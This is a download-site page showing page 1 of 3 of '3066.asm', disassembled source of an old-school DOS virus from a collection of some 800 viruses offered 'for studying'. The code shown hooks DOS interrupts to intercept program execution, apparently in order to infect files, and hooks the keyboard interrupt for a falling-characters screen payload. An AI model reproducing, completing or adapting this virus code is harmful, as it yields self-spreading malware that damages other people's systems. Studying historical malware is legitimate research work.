⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 3066.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
		mov	es,ax
		mov	ax,85Bh
		add	ax,si
		xchg	ax,es:data_9e		; (0000:0090=156h)
		mov	ds:data_18e[si],ax	; (0000:00EA=123h)
		mov	ax,cs
		xchg	ax,es:data_10e		; (0000:0092=44Bh)
		mov	ds:data_19e[si],ax	; (0000:00EC=10DAh)
		pop	es
		mov	byte ptr ds:data_20e[si],0	; (0000:00EE=23h)
		retn
sub_15		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:0499, 0981
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_16		proc	near
		push	es
		xor	ax,ax			; Zero register
		mov	es,ax
		mov	ax,cs:data_45e[si]	; (6FB8:00EA=0)
		mov	es:data_9e,ax		; (0000:0090=156h)
		mov	ax,cs:data_46e[si]	; (6FB8:00EC=0)
		mov	es:data_10e,ax		; (0000:0092=44Bh)
		pop	es
		retn
sub_16		endp

		jmp	short loc_53		; (08EA)
		nop
;*		jmp	far ptr loc_2		;*(029B:136C)
		db	0EAh, 6Ch, 13h, 9Bh, 02h

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:0247, 08CB, 08EC, 0935
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_17		proc	near
		pop	bx
		push	ds
		push	ax
		push	ds
		push	cs
		pop	ds
		call	sub_18			; (08C4)

;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;
;         Called from:	 6FB8:08C1

sub_18:
		pop	si
		sub	si,77Bh
		jmp	bx			;*Register jump
loc_51:						;  xref 6FB8:0918, 091D
		call	sub_17			; (08BB)
		push	cx
		mov	ax,[si+7]
		mov	cx,es
		cmp	ax,cx
		pop	cx
		pop	ds
		pop	ax
		jnz	loc_52			; Jump if not zero
		push	cs
		pop	es
		cmp	ah,49h			; 'I'
		je	loc_52			; Jump if equal
		add	bx,1D0h
loc_52:						;  xref 6FB8:08D9, 08E0
		pop	ds
		jmp	short loc_55		; (0924)
		db	90h
loc_53:						;  xref 6FB8:08B3, 090A, 0913
		xor	dx,dx			; Zero register
loc_54:						;  xref 6FB8:090F
		call	sub_17			; (08BB)
		push	es
		push	dx
		cli				; Disable interrupts
		call	sub_14			; (0858)
		sti				; Enable interrupts
		pop	ax
		mov	dx,1D0h
		add	dx,ax
		add	dx,10h
		pop	es
		pop	ds
		pop	ax
		pop	ds
		mov	ah,31h			; '1'
		jmp	short loc_55		; (0924)
		cmp	ah,4Ch			; 'L'
		je	loc_53			; Jump if equal
		cmp	ah,31h			; '1'
		je	loc_54			; Jump if equal
		or	ah,ah			; Zero ?
		jz	loc_53			; Jump if zero
		cmp	ah,49h			; 'I'
		je	loc_51			; Jump if equal
		cmp	ah,4Ah			; 'J'
		je	loc_51			; Jump if equal
		cmp	ah,4Bh			; 'K'
		je	loc_56			; Jump if equal
loc_55:						;  xref 6FB8:08E7, 0905, 0993
;*		jmp	far ptr loc_4		;*(0E4C:035D)
		db	0EAh, 5Dh, 03h, 4Ch, 0Eh
		db	 80h,0FCh, 4Bh, 75h,0F6h
loc_56:						;  xref 6FB8:0922
		push	cx
		push	dx
		push	es
		push	bx
		push	si
		push	di
		push	bp
		call	sub_17			; (08BB)
		call	sub_15			; (0875)
loc_57:						;  xref 6FB8:0941, 0949
		sti				; Enable interrupts
		test	byte ptr ds:data_26e,2	; (0000:0972=74h)
		jnz	loc_57			; Jump if not zero
		cli				; Disable interrupts
		test	byte ptr ds:data_26e,2	; (0000:0972=74h)
		jnz	loc_57			; Jump if not zero
		or	byte ptr ds:data_26e,2	; (0000:0972=74h)
		pop	ds
		mov	bx,dx
		mov	byte ptr cs:data_40e[si],0FFh	; (6FB8:00E2=0)
		cmp	byte ptr [bx+1],3Ah	; ':'
		jne	loc_58			; Jump if not equal
		mov	al,[bx]
		or	al,20h			; ' '
		sub	al,61h			; 'a'
		mov	cs:data_40e[si],al	; (6FB8:00E2=0)
loc_58:						;  xref 6FB8:095D
		push	si
		push	di
		push	es
		cld				; Clear direction
		mov	si,dx
		push	cs
		pop	es
		mov	di,offset ds:[984h]	; (6FB8:0984=2Eh)
loc_59:						;  xref 6FB8:0979
		lodsb				; String [si] to al
		stosb				; Store al to es:[di]
		or	al,al			; Zero ?
		jnz	loc_59			; Jump if not zero
		pop	es
		pop	di
		pop	si
		call	sub_5			; (056E)
		call	sub_16			; (089A)
		and	byte ptr cs:[972h],0FDh	; (6FB8:0972=0BFh)
		pop	ax
		pop	ds
		pop	bp
		pop	di
		pop	si
		pop	bx
		pop	es
		pop	dx
		pop	cx
		jmp	short loc_55		; (0924)
sub_17		endp

		db	 83h,0C2h, 0Fh,0B1h, 04h,0D3h
		db	0EAh,0E9h, 4Dh,0FFh,0EAh,0FEh
		db	 5Dh, 9Bh, 02h, 56h,0E8h, 00h
		db	 00h, 5Eh, 81h,0EEh, 5Fh, 08h
		db	 2Eh, 80h, 8Ch,0EEh, 00h, 01h
		db	 5Eh, 32h,0C0h,0CFh, 01h, 00h
		db	 00h, 00h, 8Ah, 00h, 00h, 00h
		db	 00h, 5Fh,0FEh, 00h, 00h, 00h
		db	 00h,0B8h, 00h, 00h, 49h, 00h
		db	 00h, 00h
		db	'A:\TEST3066.COM'


		db	 00h, 00h, 00h, 45h, 58h, 45h
		db	 00h, 45h, 00h
		db	143 dup (0)
loc_60:						;  xref 6FB8:0AEF
		push	cx
		push	ds
		push	es
		push	si
		push	di
		push	cs
		pop	es
		cld				; Clear direction
		test	al,20h			; ' '
		jz	loc_63			; Jump if zero
		test	al,2
		jnz	loc_64			; Jump if not zero
		xor	ax,ax			; Zero register
		mov	ds,ax
		mov	al,ds:data_25e		; (0000:0449=3)
		mov	cx,0B800h
		cmp	al,7
		jne	loc_61			; Jump if not equal
		mov	cx,0B000h
		jmp	short loc_62		; (0A9F)
loc_61:						;  xref 6FB8:0A90
		cmp	al,2
		je	loc_62			; Jump if equal
		cmp	al,3
		jne	loc_64			; Jump if not equal
loc_62:						;  xref 6FB8:0A95, 0A99
		mov	word ptr cs:[97Ch],cx	; (6FB8:097C=5E5Fh)
		or	byte ptr cs:[972h],2	; (6FB8:0972=0BFh)
		mov	word ptr cs:[97Eh],0	; (6FB8:097E=0EDE8h)
		mov	ds,cx
		mov	cx,7D0h
		xor	si,si			; Zero register
		mov	di,offset ds:[0CF5h]	; (6FB8:0CF5=0BEh)
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		xor	ax,ax			; Zero register
		mov	ds,ax
		mov	ax,0B92h
		xchg	ax,ds:data_1e		; (0000:0024=45h)
		mov	word ptr cs:[973h],ax	; (6FB8:0973=984h)
		mov	ax,cs
		xchg	ax,ds:data_2e		; (0000:0026=3D1h)
		mov	word ptr cs:[975h],ax	; (6FB8:0975=0AAACh)
loc_63:						;  xref 6FB8:0A7E
		mov	cx,50h
		mov	ax,0F00h
		mov	di,offset data_54	; (6FB8:0105=9)
		rep	stosw			; Rep when cx >0 Store ax to es:[di]
		and	byte ptr cs:[972h],7	; (6FB8:0972=0BFh)
loc_64:						;  xref 6FB8:0A82, 0A9D
		pop	di
		pop	si
		pop	es
		pop	ds
		pop	cx
		jmp	loc_76			; (0BCF)
loc_65:						;  xref 6FB8:0AFE
		jmp	short loc_60		; (0A74)
		push	ax
		mov	byte ptr cs:[979h],0	; (6FB8:0979=75h)
		mov	al,byte ptr cs:[972h]	; (6FB8:0972=0BFh)
		test	al,60h			; '`'
		jnz	loc_65			; Jump if not zero
		test	al,80h
		jz	loc_68			; Jump if zero
		cmp	word ptr cs:[97Eh],0	; (6FB8:097E=0EDE8h)
		je	loc_66			; Jump if equal
		inc	word ptr cs:[97Eh]	; (6FB8:097E=0EDE8h)
		cmp	word ptr cs:[97Eh],444h	; (6FB8:097E=0EDE8h)
		jl	loc_66			; Jump if <
		call	sub_19			; (0C25)
		jmp	loc_76			; (0BCF)
loc_66:						;  xref 6FB8:0B0A, 0B18
		test	al,18h
		jz	loc_67			; Jump if zero
		dec	word ptr cs:[977h]	; (6FB8:0977=0C00Ah)
		jnz	loc_67			; Jump if not zero
		and	byte ptr cs:[972h],0E7h	; (6FB8:0972=0BFh)
		or	byte ptr cs:[972h],40h	; (6FB8:0972=0BFh) '@'
		test	al,8
		jz	loc_67			; Jump if zero
		or	byte ptr cs:[972h],20h	; (6FB8:0972=0BFh) ' '
loc_67:						;  xref 6FB8:0B22, 0B29, 0B39, 0B4C
		jmp	loc_76			; (0BCF)
loc_68:						;  xref 6FB8:0B02
		xor	byte ptr cs:[972h],1	; (6FB8:0972=0BFh)
		test	al,1
		jz	loc_67			; Jump if zero
		push	bx
		push	si
		push	ds
		mov	ds,word ptr cs:[97Ch]	; (6FB8:097C=5E5Fh)
		xor	si,si			; Zero register
		mov	byte ptr cs:[96Eh],0	; (6FB8:096E=8Bh)
loc_69:						;  xref 6FB8:0BB5
		mov	bx,cs:data_54[si]	; (6FB8:0105=0CD09h)
		or	bx,bx			; Zero ?
		jz	loc_70			; Jump if zero
		cmp	byte ptr [bx+si],20h	; ' '
		jne	loc_70			; Jump if not equal
		cmp	byte ptr ds:data_31e[bx+si],20h	; (5E5F:FF60=0FFh) ' '
		je	loc_70			; Jump if equal
		mov	ax,720h
		xchg	ax,ds:data_31e[bx+si]	; (5E5F:FF60=0FFFFh)
		mov	[bx+si],ax
		add	bx,0A0h
loc_70:						;  xref 6FB8:0B65, 0B6A, 0B71
		cmp	bx,data_30e		; (5E5F:0FA0=0FFh)
		je	loc_71			; Jump if equal
		cmp	byte ptr [bx+si],20h	; ' '
		jne	loc_71			; Jump if not equal
		jnz	loc_74			; Jump if not zero
loc_71:						;  xref 6FB8:0B84, 0B89
		mov	bx,data_29e		; (5E5F:0F00=0FFh)
loc_72:						;  xref 6FB8:0BA2
		cmp	byte ptr [bx+si],20h	; ' '
		jne	loc_73			; Jump if not equal
		cmp	byte ptr ds:data_31e[bx+si],20h	; (5E5F:FF60=0FFh) ' '
		jne	loc_74			; Jump if not equal
loc_73:						;  xref 6FB8:0B93
		sub	bx,0A0h
		or	bx,bx			; Zero ?
		jnz	loc_72			; Jump if not zero
loc_74:						;  xref 6FB8:0B8B, 0B9A
		mov	cs:data_54[si],bx	; (6FB8:0105=0CD09h)
		or	word ptr cs:[96Eh],bx	; (6FB8:096E=0F28Bh)
		add	si,2
		cmp	si,0A0h
		jne	loc_69			; Jump if not equal
		cmp	byte ptr cs:[96Eh],0	; (6FB8:096E=8Bh)
		jne	loc_75			; Jump if not equal
		or	byte ptr cs:[972h],80h	; (6FB8:0972=0BFh)
		mov	word ptr cs:[97Eh],1	; (6FB8:097E=0EDE8h)
loc_75:						;  xref 6FB8:0BBD
		pop	ds
		pop	si
		pop	bx
loc_76:						;  xref 6FB8:0AEC, 0B1D, 0B41
		pop	ax
;*		jmp	far ptr loc_90		;*(FC00:3F4D)
		db	0EAh, 4Dh, 3Fh, 00h,0FCh
loc_77:						;  xref 6FB8:0C32
		mov	al,20h			; ' '
		out	20h,al			; port 20h, 8259-1 int command
						;  al = 20h, end of interrupt
		pop	ax
		iret				; Interrupt return
		db	 50h,0E4h, 60h, 2Eh,0A2h, 7Ah
		db	 09h,0E4h, 61h, 8Ah,0E0h, 0Ch
		db	 80h,0E6h, 61h, 8Ah,0C4h,0E6h
		db	 61h, 2Eh, 80h, 3Eh, 79h, 09h
		db	 00h, 2Eh,0C6h, 06h, 79h, 09h
		db	 01h, 75h,0D9h, 2Eh,0A0h, 7Ah
		db	 09h, 3Ch,0F0h, 74h,0D1h, 24h
		db	 7Fh, 2Eh, 3Ah, 06h, 7Bh, 09h
		db	 2Eh,0A2h, 7Bh, 09h, 74h,0C4h
		db	 2Eh, 83h, 3Eh, 7Eh, 09h, 00h
		db	 74h, 07h, 2Eh,0C7h, 06h, 7Eh
		db	 09h, 01h, 00h,0E8h, 02h, 00h
		db	0EBh,0B0h

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:0B1A
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_19		proc	near
		mov	word ptr cs:[977h],28h	; (6FB8:0977=0C00Ah)
		test	byte ptr cs:[972h],80h	; (6FB8:0972=0BFh)
		jz	loc_77			; Jump if zero
		mov	byte ptr cs:[970h],1	; (6FB8:0970=0Eh)
		push	bx
		push	si
		push	ds
		mov	ds,word ptr cs:[97Ch]	; (6FB8:097C=5E5Fh)
		test	byte ptr cs:[972h],10h	; (6FB8:0972=0BFh)
		jnz	loc_81			; Jump if not zero
		or	byte ptr cs:[972h],10h	; (6FB8:0972=0BFh)
		xor	si,si			; Zero register
loc_78:						;  xref 6FB8:0C77
		mov	bx,data_29e		; (5E5F:0F00=0FFh)
loc_79:						;  xref 6FB8:0C5E
		cmp	byte ptr [bx+si],20h	; ' '
		je	loc_80			; Jump if equal
		sub	bx,0A0h
		jnc	loc_79			; Jump if carry=0
		mov	bx,0F00h
loc_80:						;  xref 6FB8:0C58
		add	bx,data_28e		; (5E5F:00A0=0FFh)
		mov	cs:data_54[si],bx	; (6FB8:0105=0CD09h)
		mov	word ptr cs:[980h][si],bx	; (6FB8:0980=0E8FBh)
		inc	si
		inc	si
		cmp	si,data_37e		; (6FB8:00A0=0)
		jne	loc_78			; Jump if not equal
loc_81:						;  xref 6FB8:0C48
		xor	si,si			; Zero register
loc_82:						;  xref 6FB8:0CE4
		cmp	cs:data_54[si],0FA0h	; (6FB8:0105=0CD09h)
		je	loc_88			; Jump if equal
		mov	bx,word ptr cs:[980h][si]	; (6FB8:0980=0E8FBh)
		mov	ax,[bx+si]
		cmp	ax,word ptr cs:[0CF5h][bx+si]	; (6FB8:0CF5=0F5BEh)
		jne	loc_84			; Jump if not equal
		push	bx
loc_83:						;  xref 6FB8:0CA0, 0CA4
		or	bx,bx			; Zero ?
		jz	loc_86			; Jump if zero
		sub	bx,0A0h
		cmp	ax,word ptr cs:[0CF5h][bx+si]	; (6FB8:0CF5=0F5BEh)
		jne	loc_83			; Jump if not equal
		cmp	ax,[bx+si]
		je	loc_83			; Jump if equal
		pop	bx
loc_84:						;  xref 6FB8:0C90
		or	bx,bx			; Zero ?
		jnz	loc_85			; Jump if not zero
		mov	word ptr [si],720h
		jmp	short loc_87		; (0CCB)
loc_85:						;  xref 6FB8:0CA9
		mov	ax,[bx+si]
		mov	ds:data_31e[bx+si],ax	; (5E5F:FF60=0FFFFh)
		mov	word ptr [bx+si],720h
		sub	word ptr cs:[980h][si],0A0h	; (6FB8:0980=0E8FBh)
		mov	byte ptr cs:[970h],0	; (6FB8:0970=0Eh)
		jmp	short loc_88		; (0CDE)
loc_86:						;  xref 6FB8:0C95
		pop	bx
loc_87:						;  xref 6FB8:0CAF
		mov	bx,cs:data_54[si]	; (6FB8:0105=0CD09h)
		add	bx,0A0h
		mov	cs:data_54[si],bx	; (6FB8:0105=0CD09h)
		mov	word ptr cs:[980h][si],bx	; (6FB8:0980=0E8FBh)
loc_88:						;  xref 6FB8:0C82, 0CC8
		inc	si
		inc	si
		cmp	si,0A0h
		jne	loc_82			; Jump if not equal
		cmp	byte ptr cs:[970h],0	; (6FB8:0970=0Eh)
		je	loc_89			; Jump if equal
		push	es
		push	di
		push	cx
		push	ds
		pop	es
		push	cs
		pop	ds
		mov	si,offset ds:[0CF5h]	; (6FB8:0CF5=0BEh)
		xor	di,di			; Zero register
		mov	cx,7D0h
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		mov	word ptr cs:[977h],0FFDCh	; (6FB8:0977=0C00Ah)
		and	byte ptr cs:[972h],4	; (6FB8:0972=0BFh)
		or	byte ptr cs:[972h],88h	; (6FB8:0972=0BFh)
		mov	word ptr cs:[97Eh],0	; (6FB8:097E=0EDE8h)
		xor	ax,ax			; Zero register
		mov	ds,ax
		mov	ax,word ptr cs:[973h]	; (6FB8:0973=984h)
		mov	ds:data_1e,ax		; (0000:0024=45h)
		mov	ax,word ptr cs:[975h]	; (6FB8:0975=0AAACh)
		mov	ds:data_2e,ax		; (0000:0026=3D1h)
		pop	cx
		pop	di
		pop	es
loc_89:						;  xref 6FB8:0CEC
		pop	ds
		pop	si
		pop	bx
		retn
sub_19		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;
;         Called from:	 6FB8:04D3, 04EC
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_20		proc	near
		cld				; Clear direction
		pop	ax
		sub	ax,si
		add	ax,di
		push	es
		push	ax
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		retf				; Return far
sub_20		endp

		db	 90h, 50h,0E8h,0E2h, 03h, 8Bh

seg_a		ends



		end	start

北北北北北北北北北北 CROSS REFERENCE - KEY ENTRY POINTS 北北北北北北北北北

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -